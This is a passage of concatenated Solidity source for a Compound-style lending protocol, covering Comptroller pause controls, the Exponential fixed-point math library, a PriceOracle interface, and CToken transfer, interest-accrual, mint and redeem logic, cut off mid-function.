"Mint", state); return state; } function _setBorrowPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); borrowGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Borrow", state); return state; } function _setTransferPaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); transferGuardianPaused = state; emit ActionPaused("Transfer", state); return state; } function _setSeizePaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); seizeGuardianPaused = state; emit ActionPaused("Seize", state); return state; } function _become(Unitroller unitroller) public { require(msg.sender == unitroller.admin(), "only unitroller admin can change brains"); uint changeStatus = unitroller._acceptImplementation(); require(changeStatus == 0, "change not authorized"); } } pragma solidity ^0.5.16; import "./CarefulMath.sol"; /** * @title Exponential module for storing fixed-precision decimals * @author Compound * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: * `Exp({mantissa: 5100000000000000000})`. */ contract Exponential is CarefulMath { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } struct Double { uint mantissa; } /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev Checks if left Exp > right Exp. */ function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa > right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } function safe224(uint n, string memory errorMessage) pure internal returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function safe32(uint n, string memory errorMessage) pure internal returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint a, uint b) pure internal returns (uint) { return add_(a, b, "addition overflow"); } function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint a, uint b) pure internal returns (uint) { return sub_(a, b, "subtraction underflow"); } function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Exp memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Double memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint a, uint b) pure internal returns (uint) { return mul_(a, b, "multiplication overflow"); } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Exp memory b) pure internal returns (uint) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Double memory b) pure internal returns (uint) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint a, uint b) pure internal returns (uint) { return div_(a, b, "divide by zero"); } function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b > 0, errorMessage); return a / b; } function fraction(uint a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a, doubleScale), b)}); } } pragma solidity ^0.5.16; import "./CToken.sol"; contract PriceOracle { /// @notice Indicator that this is a PriceOracle contract (for inspection) bool public constant isPriceOracle = true; /** * @notice Get the underlying price of a cToken asset * @param cToken The cToken to get the underlying price of * @return The underlying asset price mantissa (scaled by 1e18). * Zero means the price is unavailable. */ function getUnderlyingPrice(CToken cToken) external view returns (uint); } pragma solidity ^0.5.16; import "./ComptrollerInterface.sol"; import "./CTokenInterfaces.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./EIP20Interface.sol"; import "./EIP20NonStandardInterface.sol"; import "./InterestRateModel.sol"; /** * @title Compound's CToken Contract * @notice Abstract base for CTokens * @author Compound */ contract CToken is CTokenInterface, Exponential, TokenErrorReporter { /** * @notice Initialize the money market * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ EIP-20 name of this token * @param symbol_ EIP-20 symbol of this token * @param decimals_ EIP-20 decimal precision of this token */ function initialize(ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_) public { require(msg.sender == admin, "only admin may initialize the market"); require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once"); // Set initial exchange rate initialExchangeRateMantissa = initialExchangeRateMantissa_; require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero."); // Set the comptroller uint err = _setComptroller(comptroller_); require(err == uint(Error.NO_ERROR), "setting comptroller failed"); // Initialize block number and borrow index (block number mocks depend on comptroller being set) accrualBlockNumber = getBlockNumber(); borrowIndex = mantissaOne; // Set the interest rate model (depends on block number / borrow index) err = _setInterestRateModelFresh(interestRateModel_); require(err == uint(Error.NO_ERROR), "setting interest rate model failed"); name = name_; symbol = symbol_; decimals = decimals_; // The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund) _notEntered = true; } /** * @notice Transfer `tokens` tokens from `src` to `dst` by `spender` * @dev Called by both `transfer` and `transferFrom` internally * @param spender The address of the account performing the transfer * @param src The address of the source account * @param dst The address of the destination account * @param tokens The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) { /* Fail if transfer not allowed */ uint allowed = comptroller.transferAllowed(address(this), src, dst, tokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.TRANSFER_COMPTROLLER_REJECTION, allowed); } /* Do not allow self-transfers */ if (src == dst) { return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED); } /* Get the allowance, infinite for the account owner */ uint startingAllowance = 0; if (spender == src) { startingAllowance = uint(-1); } else { startingAllowance = transferAllowances[src][spender]; } /* Do the calculations, checking for {under,over}flow */ MathError mathErr; uint allowanceNew; uint srcTokensNew; uint dstTokensNew; (mathErr, allowanceNew) = subUInt(startingAllowance, tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ALLOWED); } (mathErr, srcTokensNew) = subUInt(accountTokens[src], tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ENOUGH); } (mathErr, dstTokensNew) = addUInt(accountTokens[dst], tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_TOO_MUCH); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) accountTokens[src] = srcTokensNew; accountTokens[dst] = dstTokensNew; /* Eat some of the allowance (if necessary) */ if (startingAllowance != uint(-1)) { transferAllowances[src][spender] = allowanceNew; } /* We emit a Transfer event */ emit Transfer(src, dst, tokens); comptroller.transferVerify(address(this), src, dst, tokens); return uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external nonReentrant returns (bool) { return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external nonReentrant returns (bool) { return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool) { address src = msg.sender; transferAllowances[src][spender] = amount; emit Approval(src, spender, amount); return true; } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256) { return transferAllowances[owner][spender]; } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint256) { return accountTokens[owner]; } /** * @notice Get the underlying balance of the `owner` * @dev This also accrues interest in a transaction * @param owner The address of the account to query * @return The amount of underlying owned by `owner` */ function balanceOfUnderlying(address owner) external returns (uint) { Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()}); (MathError mErr, uint balance) = mulScalarTruncate(exchangeRate, accountTokens[owner]); require(mErr == MathError.NO_ERROR, "balance could not be calculated"); return balance; } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by comptroller to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (possible error, token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) { uint cTokenBalance = accountTokens[account]; uint borrowBalance; uint exchangeRateMantissa; MathError mErr; (mErr, borrowBalance) = borrowBalanceStoredInternal(account); if (mErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0, 0, 0); } (mErr, exchangeRateMantissa) = exchangeRateStoredInternal(); if (mErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0, 0, 0); } return (uint(Error.NO_ERROR), cTokenBalance, borrowBalance, exchangeRateMantissa); } /** * @dev Function to simply retrieve block number * This exists mainly for inheriting test contracts to stub this result. */ function getBlockNumber() internal view returns (uint) { return block.number; } /** * @notice Returns the current per-block borrow interest rate for this cToken * @return The borrow interest rate per block, scaled by 1e18 */ function borrowRatePerBlock() external view returns (uint) { return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves); } /** * @notice Returns the current per-block supply interest rate for this cToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external view returns (uint) { return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa); } /** * @notice Returns the current total borrows plus accrued interest * @return The total borrows with interest */ function totalBorrowsCurrent() external nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return totalBorrows; } /** * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex * @param account The address whose balance should be calculated after updating borrowIndex * @return The calculated balance */ function borrowBalanceCurrent(address account) external nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return borrowBalanceStored(account); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The calculated balance */ function borrowBalanceStored(address account) public view returns (uint) { (MathError err, uint result) = borrowBalanceStoredInternal(account); require(err == MathError.NO_ERROR, "borrowBalanceStored: borrowBalanceStoredInternal failed"); return result; } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return (error code, the calculated balance or 0 if error code is non-zero) */ function borrowBalanceStoredInternal(address account) internal view returns (MathError, uint) { /* Note: we do not assert that the market is up to date */ MathError mathErr; uint principalTimesIndex; uint result; /* Get borrowBalance and borrowIndex */ BorrowSnapshot storage borrowSnapshot = accountBorrows[account]; /* If borrowBalance = 0 then borrowIndex is likely also 0. * Rather than failing the calculation with a division by 0, we immediately return 0 in this case. */ if (borrowSnapshot.principal == 0) { return (MathError.NO_ERROR, 0); } /* Calculate new borrow balance using the interest index: * recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex */ (mathErr, principalTimesIndex) = mulUInt(borrowSnapshot.principal, borrowIndex); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } (mathErr, result) = divUInt(principalTimesIndex, borrowSnapshot.interestIndex); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } return (MathError.NO_ERROR, result); } /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateCurrent() public nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return exchangeRateStored(); } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public view returns (uint) { (MathError err, uint result) = exchangeRateStoredInternal(); require(err == MathError.NO_ERROR, "exchangeRateStored: exchangeRateStoredInternal failed"); return result; } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return (error code, calculated exchange rate scaled by 1e18) */ function exchangeRateStoredInternal() internal view returns (MathError, uint) { uint _totalSupply = totalSupply; if (_totalSupply == 0) { /* * If there are no tokens minted: * exchangeRate = initialExchangeRate */ return (MathError.NO_ERROR, initialExchangeRateMantissa); } else { /* * Otherwise: * exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply */ uint totalCash = getCashPrior(); uint cashPlusBorrowsMinusReserves; Exp memory exchangeRate; MathError mathErr; (mathErr, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } (mathErr, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, _totalSupply); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } return (MathError.NO_ERROR, exchangeRate.mantissa); } } /** * @notice Get cash balance of this cToken in the underlying asset * @return The quantity of underlying asset owned by this contract */ function getCash() external view returns (uint) { return getCashPrior(); } /** * @notice Applies accrued interest to total borrows and reserves * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() public returns (uint) { /* Remember the initial block number */ uint currentBlockNumber = getBlockNumber(); uint accrualBlockNumberPrior = accrualBlockNumber; /* Short-circuit accumulating 0 interest */ if (accrualBlockNumberPrior == currentBlockNumber) { return uint(Error.NO_ERROR); } /* Read the previous values out of storage */ uint cashPrior = getCashPrior(); uint borrowsPrior = totalBorrows; uint reservesPrior = totalReserves; uint borrowIndexPrior = borrowIndex; /* Calculate the current borrow interest rate */ uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior); require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high"); /* Calculate the number of blocks elapsed since the last accrual */ (MathError mathErr, uint blockDelta) = subUInt(currentBlockNumber, accrualBlockNumberPrior); require(mathErr == MathError.NO_ERROR, "could not calculate block delta"); /* * Calculate the interest accumulated into borrows and reserves and the new index: * simpleInterestFactor = borrowRate * blockDelta * interestAccumulated = simpleInterestFactor * totalBorrows * totalBorrowsNew = interestAccumulated + totalBorrows * totalReservesNew = interestAccumulated * reserveFactor + totalReserves * borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex */ Exp memory simpleInterestFactor; uint interestAccumulated; uint totalBorrowsNew; uint totalReservesNew; uint borrowIndexNew; (mathErr, simpleInterestFactor) = mulScalar(Exp({mantissa: borrowRateMantissa}), blockDelta); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, uint(mathErr)); } (mathErr, interestAccumulated) = mulScalarTruncate(simpleInterestFactor, borrowsPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, uint(mathErr)); } (mathErr, totalBorrowsNew) = addUInt(interestAccumulated, borrowsPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, uint(mathErr)); } (mathErr, totalReservesNew) = mulScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, uint(mathErr)); } (mathErr, borrowIndexNew) = mulScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, uint(mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accrualBlockNumber = currentBlockNumber; borrowIndex = borrowIndexNew; totalBorrows = totalBorrowsNew; totalReserves = totalReservesNew; /* We emit an AccrueInterest event */ emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew); return uint(Error.NO_ERROR); } /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount. */ function mintInternal(uint mintAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0); } // mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to return mintFresh(msg.sender, mintAmount); } struct MintLocalVars { Error err; MathError mathErr; uint exchangeRateMantissa; uint mintTokens; uint totalSupplyNew; uint accountTokensNew; uint actualMintAmount; } /** * @notice User supplies assets into the market and receives cTokens in exchange * @dev Assumes interest has already been accrued up to the current block * @param minter The address of the account which is supplying the assets * @param mintAmount The amount of the underlying asset to supply * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount. */ function mintFresh(address minter, uint mintAmount) internal returns (uint, uint) { /* Fail if mint not allowed */ uint allowed = comptroller.mintAllowed(address(this), minter, mintAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.MINT_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK), 0); } MintLocalVars memory vars; (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal(); if (vars.mathErr != MathError.NO_ERROR) { return (failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)), 0); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call `doTransferIn` for the minter and the mintAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * `doTransferIn` reverts if anything goes wrong, since we can't be sure if * side-effects occurred. The function returns the amount actually transferred, * in case of a fee. On success, the cToken holds an additional `actualMintAmount` * of cash. */ vars.actualMintAmount = doTransferIn(minter, mintAmount); /* * We get the current exchange rate and calculate the number of cTokens to be minted: * mintTokens = actualMintAmount / exchangeRate */ (vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(vars.actualMintAmount, Exp({mantissa: vars.exchangeRateMantissa})); require(vars.mathErr == MathError.NO_ERROR, "MINT_EXCHANGE_CALCULATION_FAILED"); /* * We calculate the new total supply of cTokens and minter token balance, checking for overflow: * totalSupplyNew = totalSupply + mintTokens * accountTokensNew = accountTokens[minter] + mintTokens */ (vars.mathErr, vars.totalSupplyNew) = addUInt(totalSupply, vars.mintTokens); require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED"); (vars.mathErr, vars.accountTokensNew) = addUInt(accountTokens[minter], vars.mintTokens); require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED"); /* We write previously calculated values into storage */ totalSupply = vars.totalSupplyNew; accountTokens[minter] = vars.accountTokensNew; /* We emit a Mint event, and a Transfer event */ emit Mint(minter, vars.actualMintAmount, vars.mintTokens); emit Transfer(address(this), minter, vars.mintTokens); /* We call the defense hook */ comptroller.mintVerify(address(this), minter, vars.actualMintAmount, vars.mintTokens); return (uint(Error.NO_ERROR), vars.actualMintAmount); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, redeemTokens, 0); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to receive from redeeming cTokens * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, 0, redeemAmount); } struct RedeemLocalVars { Error err; MathError mathErr; uint exchangeRateMantissa; uint redeemTokens; uint redeemAmount; uint totalSupplyNew; uint accountTokensNew; } /** * @notice User redeems cTokens in exchange for the underlying asset * @dev Assumes interest has already been accrued up to the current block * @param redeemer The address of the account which is redeeming the tokens * @param redeemTokensIn The number of cTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero) * @param redeemAmountIn The number of underlying tokens to receive from redeeming cTokens (only one of redeemTokensIn or redeemAmountIn may be non-zero) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint) { require(redeemTokensIn == 0 || redeemAmountIn == 0, "one of redeemTokensIn or redeemAmountIn must be zero"); RedeemLocalVars memory vars; /* exchangeRate = invoke Exchange Rate Stored() */ (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal(); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)); } /* If redeemTokensIn > 0: */ if (redeemTokensIn > 0) { /* * We calculate the exchange rate and the amount of underlying to be redeemed: * redeemTokens = redeemTokensIn * redeemAmount = redeemTokensIn x exchangeRateCurrent */ vars.redeemTokens = redeemTokensIn; (vars.mathErr, vars.redeemAmount) = 